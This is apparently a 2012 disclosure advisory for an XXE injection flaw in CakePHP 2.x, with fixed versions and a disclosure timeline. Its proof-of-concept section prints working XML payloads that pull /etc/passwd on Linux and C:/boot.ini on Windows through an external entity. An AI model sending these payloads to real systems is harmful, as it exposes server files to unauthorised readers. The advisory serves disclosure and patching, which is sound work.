CakePHP 2.2.0-RC2 XXE Injection

`# Exploit title: CakePHP XXE injection  
# Date: 01.07.2012  
# Software Link: http://www.cakephp.org  
# Vulnerable version: 2.x - 2.2.0-RC2  
# Tested on: Windows and Linux  
# Author: Pawel Wylecial  
# http://h0wl.pl  
1. Background  
  
Short description from the project website: "CakePHP makes building web applications simpler, faster and require less code."  
  
2. Vulnerability  
  
CakePHP is vulnerable to XML eXternal Entity injection. The class responsible for building XML (it uses PHP SimpleXML) does allow local file inclusion.  
  
3. Proof of Concept  
  
Linux:  
<!DOCTYPE cakephp [  
<!ENTITY payload SYSTEM "file:///etc/passwd" >]>  
<request>  
<xxe>&payload;</xxe>  
</request>  
  
Windows:  
<!DOCTYPE cakephp [  
<!ENTITY payload SYSTEM "file:///C:/boot.ini" >]>  
<request>  
<xxe>&payload;</xxe>  
</request>  
  
4. Fix  
  
Fix applied in version 2.2.1 and 2.1.5. See official security release:  
http://bakery.cakephp.org/articles/markstory/2012/07/14/security_release_-_cakephp_2_1_5_2_2_1  
  
5. Timeline  
  
1.07.2012 - vulnerability reported  
13.07.2012 - response from CakePHP  
14.07.2012 - confirmed and fix release  
  
`